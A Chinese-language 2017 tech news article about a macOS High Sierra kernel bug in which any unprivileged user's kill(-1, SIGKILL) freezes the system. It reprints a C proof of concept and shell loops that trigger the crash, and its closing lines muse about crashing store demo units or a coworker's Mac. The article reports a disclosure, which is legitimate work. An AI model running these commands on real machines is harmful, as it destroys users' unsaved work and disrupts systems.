MacOS High Sierra 發現漏洞,任何使用者都可輕易使系統當機

作者 | 發布日期 2017 年 10 月 20 日 18:00 | 分類 Apple , iOS , 軟體、系統 follow us in feedly

一位開放原碼開發者 Shea Levy 向 Apple 通報最新的電腦作業系統 MacOS High Sierra 有一個天大的漏洞──任何沒有特權的使用者帳號都可以下 kill -1 指令癱瘓整個系統,使系統當機無法操作。意思是說,如果你到蘋果電腦的展場,任何人都可以輕易使展示的蘋果電腦當機。



事情是這樣的,一開始是另外一位開源開發者 Matthew Bauer 在 MacOS High Sierra 系統使用 NixOS 這套開放原碼的套件管理程式時,發現會莫名其妙瞬間系統完全凍結,無法控制,於是提報這個狀況。許多人開始追查原因,一開始以為是 NixOS 自己的錯誤,然而追蹤到一個地方,就是 NixOS 在 build(從原始碼自動編譯成可執行檔的程序)App 時,NixOS 會使用一個低權限使用者帳號來 build,當該低權限帳號的工作都完成後,會下系統呼叫 syscall(SYS_kill, -1, SIGKILL, 0) 來清除該帳號所有行程(process)結束作業, 然而沒想到整個系統不管哪個使用者的行程都會一起刪除。

Shea Levy 提供以下的 C 語言範例:

test.c:
#include <unistd.h>
#include <sys/syscall.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
int main() {
int result;
for (int i = 0; i < 200; i++) {
result = kill(-1, SIGKILL); // Also fails with `syscall(SYS_kill, -1, SIGKILL, 0);`
printf(“result:%i,errno:%i (%s)\n", result, errno, strerror(errno));
}
}
$ gcc test.c
$ sudo -i
# /usr/bin/sysadminctl -addUser -fullName “Kill Test User" -home /var/empty -addUser killtest
# cd /
# while true; do sudo -u killtest /bin/sh -c “sleep 1 & ./a.out”; done

只要花大概幾分鐘的時間,就可以讓你的系統當機。另外還有 bash 命令稿版本如下:

$ sudo /usr/bin/sysadminctl -addUser -fullName “Kill Test User" -home /var/empty -addUser killtest
$ while true; do sudo -u killtest /bin/sh -c “sleep 1 & kill -kill -1”; done

更進一步追查,另外一位程式設計師 Daniel Peebles 發現根本不用那麼麻煩,只要簡單使用 libc 的 kill 呼叫,還有 kill 系統指令,就可以輕鬆當掉整個系統,問題出在 MacOS High Sierra 系統核心 XNU kernel。

於是 Shea Levy 等人不但通報 NixOS 團隊,還通報蘋果公司,然而卻得到蘋果公司如此回應:「 We have not reserved a CVE for this issue as Apple is a CNA and does not see it as a security issue.」意思是說蘋果不認為這是一個安全性問題,所以不打算發一個 CVE(Common Vulnerabilities and Exposures,常見漏洞與暴露弱點 )編號給這個問題。

是的,這是 local 端實體電腦的漏洞,而不是現在大家比較關注的網路漏洞,看似沒啥大不了,然而試想,除了你可在蘋果電腦商場把展示電腦弄當機,如果你看使用蘋果電腦的同學、同事不爽,就可以趁他離開座位不在時,輕易讓他目前的心血瞬間付之東流,而這到底算不算安全問題呢?

(首圖來源:蘋果)